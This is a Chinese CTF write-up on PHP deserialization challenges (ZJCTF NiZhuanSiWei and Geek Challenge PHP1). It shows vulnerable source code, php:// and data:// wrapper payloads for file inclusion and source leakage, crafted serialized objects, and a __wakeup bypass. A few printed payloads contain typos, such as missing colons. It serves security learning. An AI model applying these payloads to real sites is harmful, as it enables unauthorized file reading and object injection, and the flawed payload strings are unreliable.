反序列化刷题笔记

发布于:2025-02-10 ⋅ 阅读:(20) ⋅ 点赞:(0)

[ZJCTF 2019]NiZhuanSiWei

?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

首先代码审计得需要get传参,text,file,password,三个参数。

首先是text,必须存在且文件内容为“welcome to the zjctf”,可以利用php伪协议中data协议进行数据读写

payload:

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

然后是file,参数值不能含有flag字段,根据注释提示,可以看看usless.php文件的内容,还是用php伪协议,

payload:

file=php://filter/read=convert.base64-encode/resource=useless.php

综上,总的payload

 text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

解码的

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  
  • Flag 类有一个公共属性 $file,用于存储文件名。

  • __toString 是一个魔术方法,当对象被当作字符串使用时(例如 echo 或字符串拼接),该方法会被自动调用。

  • 在 __toString 方法中,如果 $file 属性已设置,则会读取 $file 指定的文件内容并输出,同时返回字符串 "U R SO CLOSE !///COME ON PLZ"

所以将file的值设为flag.php即可

<?php
class Flag {
    public $file = "flag.php";  
}

$obj = new Flag();
echo serialize($obj);
?>

 代码运行结果

O:4:"flag":1:{s:4"file";s:8:"flag.php";}
所以整道题的payload

 ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[极客大挑战 2019]PHP1

启动靶机,看源码都得不到有用信息,然后用dirsearch扫描一下,

发现一个压缩包,解压得到几个文件,在flag.php中的flag是错的,然后看index.php文件

 <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

 包含了class.php文件,然后get传参再反序列化,再看class.php文件

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

 代码审计得需要让username=admin,pasword=100,同时还得绕过_wakeup这一魔术方法

解题代码

<?php

class Name{
    private $username = 'admin';
    private $password = 100;
}
$name=new Name;
$str=serialize($name);

echo $str;
?>

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

由于用的修饰符是private,所以在Name和username中间是有一个空格的

 空格并没有被实例化,所以将空格改为%00,又要绕过_wakeup,需要把2改为3,

payload

?select=O:4:"Name":3{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

得到flag